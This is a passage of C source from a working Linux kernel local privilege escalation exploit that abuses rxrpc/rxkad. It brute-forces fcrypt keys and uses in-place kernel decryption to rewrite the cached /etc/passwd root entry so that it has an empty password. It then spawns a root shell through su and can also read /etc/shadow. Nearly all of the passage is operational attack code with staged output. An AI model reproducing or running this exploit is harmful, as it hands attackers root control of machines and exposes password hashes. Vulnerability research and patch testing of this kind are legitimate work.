0xfd, 0xbc, 0xe2, 0x5c, 0xa9, 0x96, 0xef, 0x70, 0xcf, 0xc2, 0x2a, 0xb3, 0x61, 0xad, 0x80, 0x48, 0x81, 0xb7, 0x1d, 0x43, 0xd9, 0xd7, 0x45, 0xf0, 0xd8, 0x8a, 0x59, 0x7c, 0x57, 0xc1, 0x79, 0xc7, 0x34, 0xd6, 0x43, 0xdf, 0xe4, 0x78, 0x16, 0x06, 0xda, 0x92, 0x76, 0x51, 0xe1, 0xd4, 0x70, 0x03, 0xe0, 0x2f, 0x96, 0x91, 0x82, 0x80, }; static const uint8_t fc_sbox2_raw[256] = { 0xf0, 0x37, 0x24, 0x53, 0x2a, 0x03, 0x83, 0x86, 0xd1, 0xec, 0x50, 0xf0, 0x42, 0x78, 0x2f, 0x6d, 0xbf, 0x80, 0x87, 0x27, 0x95, 0xe2, 0xc5, 0x5d, 0xf9, 0x6f, 0xdb, 0xb4, 0x65, 0x6e, 0xe7, 0x24, 0xc8, 0x1a, 0xbb, 0x49, 0xb5, 0x0a, 0x7d, 0xb9, 0xe8, 0xdc, 0xb7, 0xd9, 0x45, 0x20, 0x1b, 0xce, 0x59, 0x9d, 0x6b, 0xbd, 0x0e, 0x8f, 0xa3, 0xa9, 0xbc, 0x74, 0xa6, 0xf6, 0x7f, 0x5f, 0xb1, 0x68, 0x84, 0xbc, 0xa9, 0xfd, 0x55, 0x50, 0xe9, 0xb6, 0x13, 0x5e, 0x07, 0xb8, 0x95, 0x02, 0xc0, 0xd0, 0x6a, 0x1a, 0x85, 0xbd, 0xb6, 0xfd, 0xfe, 0x17, 0x3f, 0x09, 0xa3, 0x8d, 0xfb, 0xed, 0xda, 0x1d, 0x6d, 0x1c, 0x6c, 0x01, 0x5a, 0xe5, 0x71, 0x3e, 0x8b, 0x6b, 0xbe, 0x29, 0xeb, 0x12, 0x19, 0x34, 0xcd, 0xb3, 0xbd, 0x35, 0xea, 0x4b, 0xd5, 0xae, 0x2a, 0x79, 0x5a, 0xa5, 0x32, 0x12, 0x7b, 0xdc, 0x2c, 0xd0, 0x22, 0x4b, 0xb1, 0x85, 0x59, 0x80, 0xc0, 0x30, 0x9f, 0x73, 0xd3, 0x14, 0x48, 0x40, 0x07, 0x2d, 0x8f, 0x80, 0x0f, 0xce, 0x0b, 0x5e, 0xb7, 0x5e, 0xac, 0x24, 0x94, 0x4a, 0x18, 0x15, 0x05, 0xe8, 0x02, 0x77, 0xa9, 0xc7, 0x40, 0x45, 0x89, 0xd1, 0xea, 0xde, 0x0c, 0x79, 0x2a, 0x99, 0x6c, 0x3e, 0x95, 0xdd, 0x8c, 0x7d, 0xad, 0x6f, 0xdc, 0xff, 0xfd, 0x62, 0x47, 0xb3, 0x21, 0x8a, 0xec, 0x8e, 0x19, 0x18, 0xb4, 0x6e, 0x3d, 0xfd, 0x74, 0x54, 0x1e, 0x04, 0x85, 0xd8, 0xbc, 0x1f, 0x56, 0xe7, 0x3a, 0x56, 0x67, 0xd6, 0xc8, 0xa5, 0xf3, 0x8e, 0xde, 0xae, 0x37, 0x49, 0xb7, 0xfa, 0xc8, 0xf4, 0x1f, 0xe0, 0x2a, 0x9b, 0x15, 0xd1, 0x34, 0x0e, 0xb5, 0xe0, 0x44, 0x78, 0x84, 0x59, 0x56, 0x68, 0x77, 0xa5, 0x14, 0x06, 0xf5, 0x2f, 0x8c, 0x8a, 0x73, 0x80, 0x76, 0xb4, 0x10, 0x86, }; static const uint8_t fc_sbox3_raw[256] = { 0xa9, 0x2a, 0x48, 0x51, 0x84, 0x7e, 0x49, 0xe2, 0xb5, 0xb7, 0x42, 0x33, 0x7d, 0x5d, 0xa6, 0x12, 0x44, 0x48, 0x6d, 0x28, 0xaa, 0x20, 0x6d, 0x57, 0xd6, 0x6b, 0x5d, 0x72, 0xf0, 0x92, 0x5a, 0x1b, 0x53, 0x80, 0x24, 0x70, 0x9a, 0xcc, 0xa7, 0x66, 0xa1, 0x01, 0xa5, 0x41, 0x97, 0x41, 0x31, 0x82, 0xf1, 0x14, 0xcf, 0x53, 0x0d, 0xa0, 0x10, 0xcc, 0x2a, 0x7d, 0xd2, 0xbf, 0x4b, 0x1a, 0xdb, 0x16, 0x47, 0xf6, 0x51, 0x36, 0xed, 0xf3, 0xb9, 0x1a, 0xa7, 0xdf, 0x29, 0x43, 0x01, 0x54, 0x70, 0xa4, 0xbf, 0xd4, 0x0b, 0x53, 0x44, 0x60, 0x9e, 0x23, 0xa1, 0x18, 0x68, 0x4f, 0xf0, 0x2f, 0x82, 0xc2, 0x2a, 0x41, 0xb2, 0x42, 0x0c, 0xed, 0x0c, 0x1d, 0x13, 0x3a, 0x3c, 0x6e, 0x35, 0xdc, 0x60, 0x65, 0x85, 0xe9, 0x64, 0x02, 0x9a, 0x3f, 0x9f, 0x87, 0x96, 0xdf, 0xbe, 0xf2, 0xcb, 0xe5, 0x6c, 0xd4, 0x5a, 0x83, 0xbf, 0x92, 0x1b, 0x94, 0x00, 0x42, 0xcf, 0x4b, 0x00, 0x75, 0xba, 0x8f, 0x76, 0x5f, 0x5d, 0x3a, 0x4d, 0x09, 0x12, 0x08, 0x38, 0x95, 0x17, 0xe4, 0x01, 0x1d, 0x4c, 0xa9, 0xcc, 0x85, 0x82, 0x4c, 0x9d, 0x2f, 0x3b, 0x66, 0xa1, 0x34, 0x10, 0xcd, 0x59, 0x89, 0xa5, 0x31, 0xcf, 0x05, 0xc8, 0x84, 0xfa, 0xc7, 0xba, 0x4e, 0x8b, 0x1a, 0x19, 0xf1, 0xa1, 0x3b, 0x18, 0x12, 0x17, 0xb0, 0x98, 0x8d, 0x0b, 0x23, 0xc3, 0x3a, 0x2d, 0x20, 0xdf, 0x13, 0xa0, 0xa8, 0x4c, 0x0d, 0x6c, 0x2f, 0x47, 0x13, 0x13, 0x52, 0x1f, 0x2d, 0xf5, 0x79, 0x3d, 0xa2, 0x54, 0xbd, 0x69, 0xc8, 0x6b, 0xf3, 0x05, 0x28, 0xf1, 0x16, 0x46, 0x40, 0xb0, 0x11, 0xd3, 0xb7, 0x95, 0x49, 0xcf, 0xc3, 0x1d, 0x8f, 0xd8, 0xe1, 0x73, 0xdb, 0xad, 0xc8, 0xc9, 0xa9, 0xa1, 0xc2, 0xc5, 0xe3, 0xba, 0xfc, 0x0e, 0x25, }; static uint32_t fc_sbox0[256], fc_sbox1[256], fc_sbox2[256], fc_sbox3[256]; #include static void fcrypt_init_sboxes(void) { for (int i = 0; i < 256; i++) { fc_sbox0[i] = htobe32((uint32_t)fc_sbox0_raw[i] << 3); fc_sbox1[i] = htobe32(((uint32_t)(fc_sbox1_raw[i] & 0x1f) << 27) | ((uint32_t)fc_sbox1_raw[i] >> 5)); fc_sbox2[i] = htobe32((uint32_t)fc_sbox2_raw[i] << 11); fc_sbox3[i] = htobe32((uint32_t)fc_sbox3_raw[i] << 19); } } #define fc_ror56_64(k, n) \ (k = (k >> (n)) | ((k & ((1ULL << (n)) - 1)) << (56 - (n)))) typedef struct { uint32_t sched[16]; } fcrypt_uctx; static void fcrypt_user_setkey(fcrypt_uctx *ctx, const uint8_t key[8]) { uint64_t k = 0; k = (uint64_t)(key[0] >> 1); k <<= 7; k |= (uint64_t)(key[1] >> 1); k <<= 7; k |= (uint64_t)(key[2] >> 1); k <<= 7; k |= (uint64_t)(key[3] >> 1); k <<= 7; k |= (uint64_t)(key[4] >> 1); k <<= 7; k |= (uint64_t)(key[5] >> 1); k <<= 7; k |= (uint64_t)(key[6] >> 1); k <<= 7; k |= (uint64_t)(key[7] >> 1); ctx->sched[0x0] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x1] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x2] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x3] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x4] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x5] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x6] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x7] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x8] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0x9] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xa] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xb] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xc] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xd] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xe] = htobe32((uint32_t)k); fc_ror56_64(k, 11); ctx->sched[0xf] = htobe32((uint32_t)k); } #define FC_F(R_, L_, sched_) do { \ union { uint32_t l; uint8_t c[4]; } u; \ u.l = (sched_) ^ (R_); \ L_ ^= fc_sbox0[u.c[0]] ^ fc_sbox1[u.c[1]] ^ \ fc_sbox2[u.c[2]] ^ fc_sbox3[u.c[3]]; \ } while (0) static void fcrypt_user_decrypt(const fcrypt_uctx *ctx, uint8_t out[8], const uint8_t in[8]) { uint32_t L, R; memcpy(&L, in, 4); memcpy(&R, in + 4, 4); FC_F(L, R, ctx->sched[0xf]); FC_F(R, L, ctx->sched[0xe]); FC_F(L, R, ctx->sched[0xd]); FC_F(R, L, ctx->sched[0xc]); FC_F(L, R, ctx->sched[0xb]); FC_F(R, L, ctx->sched[0xa]); FC_F(L, R, ctx->sched[0x9]); FC_F(R, L, ctx->sched[0x8]); FC_F(L, R, ctx->sched[0x7]); FC_F(R, L, ctx->sched[0x6]); FC_F(L, R, ctx->sched[0x5]); FC_F(R, L, ctx->sched[0x4]); FC_F(L, R, ctx->sched[0x3]); FC_F(R, L, ctx->sched[0x2]); FC_F(L, R, ctx->sched[0x1]); FC_F(R, L, ctx->sched[0x0]); memcpy(out, &L, 4); memcpy(out + 4, &R, 4); } /* For the 2-splice chain we want the line to have EXACTLY 6 ':' and a * shell field that equals "/bin/bash" (in /etc/shells, valid path). * The two splices interlock as: * * bytes 7..14 (offset 2800): P1 — sets uid=0, gid=1 digit, then * 4 random gecos-prefix bytes. * bytes 15..22 (offset 2808): P2 — wipes the original ':' at line * pos 16, preserves ':' at pos 21 and '/' at pos 22. * * Combined line: "test:x:0:G:GGGGGGGGGG:/home/test:/bin/bash" * pos 0 8 21 32 * * pw_uid=0, pw_gid=G, pw_dir="/home/test", pw_shell="/bin/bash". * Now `su -s /bin/bash test` proceeds through the restricted_shell() * check (because /bin/bash IS in /etc/shells) and exec()s /bin/bash * under uid=0. * * === 3-splice predicates === * * After applying splices A, B, C in order to /etc/passwd line 1 * (offsets 4, 6, 8 — each 8 bytes, last-write-wins), the final state * of chars 4..15 is determined by these P bytes: * * char 4 = P_A[0] want: ':' * char 5 = P_A[1] want: ':' * char 6 = P_B[0] want: '0' (overwrites P_A[2]) * char 7 = P_B[1] want: ':' (overwrites P_A[3]) * char 8 = P_C[0] want: '0' (overwrites P_A[4]/P_B[2]) * char 9 = P_C[1] want: ':' (overwrites P_A[5]/P_B[3]) * char 10..14 = P_C[2..6] want: any byte except ':' '\0' '\n' * char 15 = P_C[7] want: ':' * * The constraints on P_A[2..7] and P_B[2..7] are vacuous because they * are overwritten before /etc/passwd is read by anyone — we only care * about the final state. */ static inline int fc_check_pa_nullok(const uint8_t P[8]) { return P[0] == ':' && P[1] == ':'; } static inline int fc_check_pb_nullok(const uint8_t P[8]) { return P[0] == '0' && P[1] == ':'; } static inline int fc_check_pc_nullok(const uint8_t P[8]) { if (P[0] != '0') return 0; if (P[1] != ':') return 0; if (P[7] != ':') return 0; for (int i = 2; i < 7; i++) { if (P[i] == ':' || P[i] == '\0' || P[i] == '\n') return 0; } return 1; } static uint64_t fc_splitmix64(uint64_t *s) { uint64_t z = (*s += 0x9E3779B97F4A7C15ULL); z = (z ^ (z >> 30)) * 0xBF58476D1CE4E5B9ULL; z = (z ^ (z >> 27)) * 0x94D049BB133111EBULL; return z ^ (z >> 31); } /* Generic brute-force. `predicate` decides if a P is acceptable. */ typedef int (*pcheck_fn)(const uint8_t P[8]); static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters, pcheck_fn check, uint8_t K_out[8], uint8_t P_out[8], uint64_t seed_init, const char *label) { fcrypt_uctx ctx; uint8_t K[8], P[8]; uint64_t seed = seed_init; struct timespec ts0, ts1; clock_gettime(CLOCK_MONOTONIC, &ts0); for (uint64_t iter = 0; iter < max_iters; iter++) { uint64_t r = fc_splitmix64(&seed); memcpy(K, &r, 8); fcrypt_user_setkey(&ctx, K); fcrypt_user_decrypt(&ctx, P, C); if (check(P)) { memcpy(K_out, K, 8); memcpy(P_out, P, 8); clock_gettime(CLOCK_MONOTONIC, &ts1); double dt = (ts1.tv_sec - ts0.tv_sec) + (ts1.tv_nsec - ts0.tv_nsec) / 1e9; LOG("%s found after %lu iters in %.2fs (%.2fM/s) K=%02x%02x%02x%02x%02x%02x%02x%02x P=%02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", label, (unsigned long)iter, dt, iter / dt / 1e6, K[0],K[1],K[2],K[3],K[4],K[5],K[6],K[7], P[0],P[1],P[2],P[3],P[4],P[5],P[6],P[7], (P[0]>=32&&P[0]<127)?P[0]:'.', (P[1]>=32&&P[1]<127)?P[1]:'.', (P[2]>=32&&P[2]<127)?P[2]:'.', (P[3]>=32&&P[3]<127)?P[3]:'.', (P[4]>=32&&P[4]<127)?P[4]:'.', (P[5]>=32&&P[5]<127)?P[5]:'.', (P[6]>=32&&P[6]<127)?P[6]:'.', (P[7]>=32&&P[7]<127)?P[7]:'.'); return 0; } if ((iter & 0x3ffffff) == 0 && iter > 0) { clock_gettime(CLOCK_MONOTONIC, &ts1); double dt = (ts1.tv_sec - ts0.tv_sec) + (ts1.tv_nsec - ts0.tv_nsec) / 1e9; fprintf(stderr, " [%s %.1fs] iter=%lu (%.2fM/s)\n", label, dt, (unsigned long)iter, iter / dt / 1e6); } } return -1; } int rxrpc_lpe_main(int argc, char **argv) { fprintf(stderr, "\n=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===\n"); fprintf(stderr, "[*] uid=%u euid=%u gid=%u\n", getuid(), geteuid(), getgid()); { const char *no_unshare = getenv("POC_NO_UNSHARE"); if (!no_unshare || *no_unshare != '1') { const char *do_unshare = getenv("POC_UNSHARE"); if (do_unshare && *do_unshare == '1') { if (do_unshare_userns_netns() < 0) return 1; } } } /* Open a dummy AF_RXRPC socket to autoload the rxrpc kernel module. * Without this, the first add_key("rxrpc", ...) call fails with ENODEV * because the kernel key type "rxrpc" is registered by rxrpc_init() in * the module load path. */ { int dummy = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); if (dummy < 0) { WARN("socket(AF_RXRPC): %s — module not loadable?", strerror(errno)); return 1; } close(dummy); LOG("rxrpc module autoloaded via dummy socket(AF_RXRPC)"); } /* Open /etc/passwd RO and mmap the first page (which contains the * root entry on line 1). */ const char *target_path = getenv("POC_TARGET_FILE"); if (!target_path || !*target_path) target_path = "/etc/passwd"; int rfd_ro = open(target_path, O_RDONLY); if (rfd_ro < 0) { WARN("open %s RO: %s", target_path, strerror(errno)); return 1; } struct stat st; fstat(rfd_ro, &st); if (st.st_size < 32) { WARN("target too small: %lld", (long long)st.st_size); return 1; } LOG("target %s opened RO, size=%lld, uid=%u gid=%u mode=%04o", target_path, (long long)st.st_size, st.st_uid, st.st_gid, st.st_mode & 07777); /* mmap first page so the page-cache page stays pinned. */ void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd_ro, 0); if (map == MAP_FAILED) { WARN("mmap: %s", strerror(errno)); return 1; } LOG("mmap'd %s page-cache at %p (PROT_READ|MAP_SHARED)", target_path, map); /* If a previous attempt already left the root entry in the patched * "root::0:0:..." form, treat as success and skip the brute-force / * trigger stages. Otherwise proceed regardless of current state — * the brute-force re-derives K_A/K_B/K_C from whatever bytes are * currently at offsets 4/6/8 of the page-cache page, so it works * even on the corrupt residue from a previous failed run. */ { const char *m = (const char *)map; if (memcmp(m, "root::0:0", 9) == 0) { LOG("/etc/passwd already patched (root::0:0...) — nothing to do"); return 0; } LOG("/etc/passwd line 1 first 16 bytes:"); for (int i = 0; i < 16; i++) fprintf(stderr, "%02x ", (uint8_t)m[i]); fprintf(stderr, "\n"); } fprintf(stderr, "[*] /etc/passwd line 1 (root entry) BEFORE: '"); for (int i = 0; i < 32; i++) { char c = ((const char *)map)[i]; fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr); } fprintf(stderr, "'\n"); /* === STAGE 1 — THREE-SPLICE OFFLINE BRUTE FORCE === * * Read THREE 8-byte ciphertexts at file offsets 4, 6, 8. Search * independently for K_A (chars 4-5 = "::"), K_B (chars 6-7 = "0:"), * K_C (chars 8-15 = "0:GGGGGG:" with G non-control). All searches * are user-space only — no kernel/VM interaction. * * Last-write-wins ordering: trigger A first (covers 4..11), then B * (covers 6..13 — overrides A's 6..11), then C (covers 8..15 — * overrides A's 8..11 and B's 8..13). Final state of chars 4..15: * chars 4..5 = P_A[0..1] * chars 6..7 = P_B[0..1] * chars 8..15 = P_C[0..7] * =================================================================*/ uint8_t Ca[8], Cb[8], Cc[8]; int off_a = 4, off_b = 6, off_c = 8; if (pread(rfd_ro, Ca, 8, off_a) != 8) { WARN("pread Ca: %s", strerror(errno)); return 1; } if (pread(rfd_ro, Cb, 8, off_b) != 8) { WARN("pread Cb: %s", strerror(errno)); return 1; } if (pread(rfd_ro, Cc, 8, off_c) != 8) { WARN("pread Cc: %s", strerror(errno)); return 1; } LOG("Ca @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", off_a, Ca[0],Ca[1],Ca[2],Ca[3],Ca[4],Ca[5],Ca[6],Ca[7], (Ca[0]>=32&&Ca[0]<127)?Ca[0]:'.', (Ca[1]>=32&&Ca[1]<127)?Ca[1]:'.', (Ca[2]>=32&&Ca[2]<127)?Ca[2]:'.', (Ca[3]>=32&&Ca[3]<127)?Ca[3]:'.', (Ca[4]>=32&&Ca[4]<127)?Ca[4]:'.', (Ca[5]>=32&&Ca[5]<127)?Ca[5]:'.', (Ca[6]>=32&&Ca[6]<127)?Ca[6]:'.', (Ca[7]>=32&&Ca[7]<127)?Ca[7]:'.'); LOG("Cb @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", off_b, Cb[0],Cb[1],Cb[2],Cb[3],Cb[4],Cb[5],Cb[6],Cb[7], (Cb[0]>=32&&Cb[0]<127)?Cb[0]:'.', (Cb[1]>=32&&Cb[1]<127)?Cb[1]:'.', (Cb[2]>=32&&Cb[2]<127)?Cb[2]:'.', (Cb[3]>=32&&Cb[3]<127)?Cb[3]:'.', (Cb[4]>=32&&Cb[4]<127)?Cb[4]:'.', (Cb[5]>=32&&Cb[5]<127)?Cb[5]:'.', (Cb[6]>=32&&Cb[6]<127)?Cb[6]:'.', (Cb[7]>=32&&Cb[7]<127)?Cb[7]:'.'); LOG("Cc @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", off_c, Cc[0],Cc[1],Cc[2],Cc[3],Cc[4],Cc[5],Cc[6],Cc[7], (Cc[0]>=32&&Cc[0]<127)?Cc[0]:'.', (Cc[1]>=32&&Cc[1]<127)?Cc[1]:'.', (Cc[2]>=32&&Cc[2]<127)?Cc[2]:'.', (Cc[3]>=32&&Cc[3]<127)?Cc[3]:'.', (Cc[4]>=32&&Cc[4]<127)?Cc[4]:'.', (Cc[5]>=32&&Cc[5]<127)?Cc[5]:'.', (Cc[6]>=32&&Cc[6]<127)?Cc[6]:'.', (Cc[7]>=32&&Cc[7]<127)?Cc[7]:'.'); fcrypt_init_sboxes(); /* selftest */ { fcrypt_uctx ctx; uint8_t z[8] = {0}; uint8_t cv[8] = { 0x0E, 0x09, 0x00, 0xC7, 0x3E, 0xF7, 0xED, 0x41 }; uint8_t pv[8]; fcrypt_user_setkey(&ctx, z); fcrypt_user_decrypt(&ctx, pv, cv); if (memcmp(pv, z, 8) != 0) { WARN("fcrypt selftest FAILED"); return 1; } } LOG("fcrypt selftest OK"); uint8_t Ka[8], Pa_out[8]; uint8_t Kb[8], Pb_out[8]; uint8_t Kc[8], Pc_out[8]; uint8_t Cb_actual[8], Cc_actual[8]; { uint64_t max_iters = 10000000000ULL; const char *e = getenv("LPE_MAX_ITERS"); if (e) max_iters = strtoull(e, NULL, 0); uint64_t seed_base = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid(); const char *se = getenv("LPE_SEED"); if (se) seed_base = strtoull(se, NULL, 0); fprintf(stderr, "\n=== STAGE 1a: search K_A (chars 4-5 := \"::\") prob ~1.5e-5 ===\n"); if (find_K_offline_generic(Ca, max_iters, fc_check_pa_nullok, Ka, Pa_out, seed_base, "K_A") != 0) { WARN("K_A search exhausted"); return 2; } /* After splice A is applied, the ciphertext that splice B will * see at file offset 6 is NOT the original Cb — it's the bytes * that splice A wrote to file offsets 6..11 (= Pa[2..7]) plus * the original bytes 12..13 (= Cb[6..7]). We must derive * Cb_actual and search K_B against it. */ memcpy(Cb_actual, Pa_out + 2, 6); memcpy(Cb_actual + 6, Cb + 6, 2); LOG("Cb_actual (after splice A) = %02x%02x%02x%02x%02x%02x%02x%02x", Cb_actual[0],Cb_actual[1],Cb_actual[2],Cb_actual[3], Cb_actual[4],Cb_actual[5],Cb_actual[6],Cb_actual[7]); fprintf(stderr, "\n=== STAGE 1b: search K_B (chars 6-7 := \"0:\") prob ~1.5e-5 ===\n"); if (find_K_offline_generic(Cb_actual, max_iters, fc_check_pb_nullok, Kb, Pb_out, seed_base ^ 0xa5a5a5a5a5a5a5a5ULL, "K_B") != 0) { WARN("K_B search exhausted"); return 2; } /* Same chaining logic for splice C: after splice B, file offsets * 8..13 hold Pb[2..7]; offsets 14..15 still hold the original * bytes Cc[6..7]. */ memcpy(Cc_actual, Pb_out + 2, 6); memcpy(Cc_actual + 6, Cc + 6, 2); LOG("Cc_actual (after splice B) = %02x%02x%02x%02x%02x%02x%02x%02x", Cc_actual[0],Cc_actual[1],Cc_actual[2],Cc_actual[3], Cc_actual[4],Cc_actual[5],Cc_actual[6],Cc_actual[7]); fprintf(stderr, "\n=== STAGE 1c: search K_C (chars 8-15 := \"0:GGGGGG:\") prob ~5.4e-8 ===\n"); if (find_K_offline_generic(Cc_actual, max_iters, fc_check_pc_nullok, Kc, Pc_out, seed_base ^ 0x5a5a5a5a5a5a5a5aULL, "K_C") != 0) { WARN("K_C search exhausted"); return 2; } } fprintf(stderr, "\n[+] Predicted post-corruption /etc/passwd line 1:\n \"root"); /* chars 4-5 from P_A */ for (int i = 0; i < 2; i++) fputc((Pa_out[i]>=32&&Pa_out[i]<127)?Pa_out[i]:'.', stderr); /* chars 6-7 from P_B */ for (int i = 0; i < 2; i++) fputc((Pb_out[i]>=32&&Pb_out[i]<127)?Pb_out[i]:'.', stderr); /* chars 8-15 from P_C */ for (int i = 0; i < 8; i++) fputc((Pc_out[i]>=32&&Pc_out[i]<127)?Pc_out[i]:'.', stderr); fprintf(stderr, "/root:/bin/bash\"\n"); /* === STAGE 2 — THREE KERNEL TRIGGERS (in order A → B → C) === * Each trigger does a single in-place decrypt at the * indicated /etc/passwd file offset. Last-write-wins on overlapping * bytes determines the final state. */ fprintf(stderr, "\n=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 \"::\") ===\n", off_a); memcpy(SESSION_KEY, Ka, 8); if (do_one_trigger(rfd_ro, off_a, 8) < 0) { WARN("kernel trigger A failed"); return 3; } fprintf(stderr, "\n=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 \"0:\") ===\n", off_b); memcpy(SESSION_KEY, Kb, 8); if (do_one_trigger(rfd_ro, off_b, 8) < 0) { WARN("kernel trigger B failed"); return 3; } fprintf(stderr, "\n=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 \"0:GGGGGG:\") ===\n", off_c); memcpy(SESSION_KEY, Kc, 8); if (do_one_trigger(rfd_ro, off_c, 8) < 0) { WARN("kernel trigger C failed"); return 3; } /* Verify: re-read line 1 of /etc/passwd via mmap. */ fprintf(stderr, "[*] /etc/passwd line 1 (root entry) AFTER: '"); for (int i = 0; i < 32; i++) { char c = ((const char *)map)[i]; fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr); } fprintf(stderr, "'\n"); /* Sanity-check: chars 4-5 = "::", 6-7 = "0:", 8-9 = "0:", 15 = ':'. */ { const char *m = (const char *)map; int ok = (m[4] == ':' && m[5] == ':' && m[6] == '0' && m[7] == ':' && m[8] == '0' && m[9] == ':' && m[15] == ':'); if (!ok) { WARN("post-trigger sanity check failed — char layout off"); return 4; } } fprintf(stderr, "\n[!!!] HIT — root entry now has empty passwd field, uid=0, " "gid=0, dir=/root, shell=/bin/bash.\n"); /* === STAGE 3 — VERIFY VIA getent passwd root === */ fprintf(stderr, "\n=== STAGE 3: independent verify via `getent passwd root` ===\n"); { int p[2]; if (pipe(p) == 0) { pid_t pid = fork(); if (pid == 0) { close(p[0]); dup2(p[1], 1); dup2(p[1], 2); close(p[1]); execlp("getent", "getent", "passwd", "root", NULL); _exit(127); } close(p[1]); char buf[1024]; ssize_t r = read(p[0], buf, sizeof(buf) - 1); close(p[0]); int wstatus = 0; waitpid(pid, &wstatus, 0); if (r > 0) { buf[r] = 0; fprintf(stderr, "[getent passwd root] %s", buf); } fprintf(stderr, "[+] PRIMITIVE proven: root entry has empty passwd field " "via NSS.\n"); } } /* Honour `--corrupt-only` arg or DIRTYFRAG_CORRUPT_ONLY=1 env so * the chain wrapper can skip the in-process su PTY stage and exec * /usr/bin/su itself. Avoids the flaky posix_openpt bridge. */ { int co_flag = 0; for (int i = 1; i < argc; i++) if (!strcmp(argv[i], "--corrupt-only")) { co_flag = 1; break; } const char *e = getenv("DIRTYFRAG_CORRUPT_ONLY"); if (e && *e == '1') co_flag = 1; if (co_flag) return 0; } /* === STAGE 4 — `su` (target=root, no password input) === * PAM common-auth contains "auth [success=2 default=ignore] * pam_unix.so nullok" — so a target user with empty passwd field * + nullok flag accepts an empty password. We auto-inject a * single newline on the "Password:" prompt and then bridge the * resulting bash to the user's tty. */ fprintf(stderr, "\n=== STAGE 4: spawning interactive root shell via `su` " "(no password input needed) ===\n\n"); fflush(stderr); int master = posix_openpt(O_RDWR | O_NOCTTY); if (master < 0 || grantpt(master) < 0 || unlockpt(master) < 0) { WARN("posix_openpt: %s", strerror(errno)); return 5; } char *slave_name = ptsname(master); struct winsize ws; if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) { ioctl(master, TIOCSWINSZ, &ws); } pid_t pid = fork(); if (pid < 0) { WARN("fork: %s", strerror(errno)); return 5; } if (pid == 0) { /* child */ setsid(); int slave = open(slave_name, O_RDWR); if (slave < 0) _exit(127); ioctl(slave, TIOCSCTTY, 0); dup2(slave, 0); dup2(slave, 1); dup2(slave, 2); if (slave > 2) close(slave); close(master); /* `su` with no args targets root. PAM common-auth's pam_unix.so * nullok accepts the empty passwd we planted in /etc/passwd. */ execlp("su", "su", NULL); _exit(127); } /* parent: bridge user's tty <-> master. */ struct termios saved_termios; int saved_termios_ok = (tcgetattr(STDIN_FILENO, &saved_termios) == 0); if (saved_termios_ok) { struct termios raw = saved_termios; cfmakeraw(&raw); tcsetattr(STDIN_FILENO, TCSANOW, &raw); } int auto_pw_sent = 0; int stdin_eof = 0; /* set when stdin closes (e.g. /dev/null) */ char buf[4096]; /* If LPE_AUTO_VERIFY=1 is set, the bridge will inject * `id; whoami; exit\n` so it can prove uid=0 non-interactively * (e.g. when stdin is /dev/null in CI). */ int auto_verify = 0; { const char *e = getenv("LPE_AUTO_VERIFY"); if (e && *e == '1') auto_verify = 1; } int verify_sent = 0; int total_ms = 0; for (;;) { struct pollfd pfds[2] = { { stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0 }, { master, POLLIN, 0 }, }; int pr = poll(pfds, 2, 200); if (pr < 0 && errno != EINTR) break; total_ms += 200; if (pfds[1].revents & POLLIN) { ssize_t n = read(master, buf, sizeof(buf)); if (n <= 0) break; (void)write(STDOUT_FILENO, buf, n); if (!auto_pw_sent && (size_t)n < sizeof(buf)) { buf[n] = 0; if (strstr(buf, "Password") || strstr(buf, "password")) { /* Empty password — PAM nullok will accept it. * (When pam_unix sees an empty passwd field plus * nullok it skips the prompt entirely; this branch * handles the case where some other PAM module * prints a prompt anyway.) */ (void)write(master, "\n", 1); auto_pw_sent = 1; } } } if (!stdin_eof && (pfds[0].revents & POLLIN)) { ssize_t n = read(STDIN_FILENO, buf, sizeof(buf)); if (n <= 0) { /* stdin EOF — stop reading from it but keep bridging * master → stdout so su can still finish auth and run * the optional auto-verify command. */ stdin_eof = 1; } else { (void)write(master, buf, n); } } if (pfds[1].revents & (POLLHUP | POLLERR)) break; /* Auto-verify: ~1 s after spawn, send `id; whoami; exit\n` so * the bridge captures uid=0 evidence non-interactively even * when pam_unix's blank-passwd path skips the prompt. */ if (auto_verify && !verify_sent && total_ms >= 1000) { const char cmd[] = "id; whoami; cat /etc/shadow | head -2; exit\n"; (void)write(master, cmd, sizeof(cmd) - 1); verify_sent = 1; } int status; pid_t w = waitpid(pid, &status, WNOHANG); if (w == pid) { for (int i = 0; i < 5; i++) { struct pollfd pf = { master, POLLIN, 0 }; if (poll(&pf, 1, 50) <= 0) break; ssize_t n = read(master, buf, sizeof(buf)); if (n <= 0) break; (void)write(STDOUT_FILENO, buf, n); } break; } } if 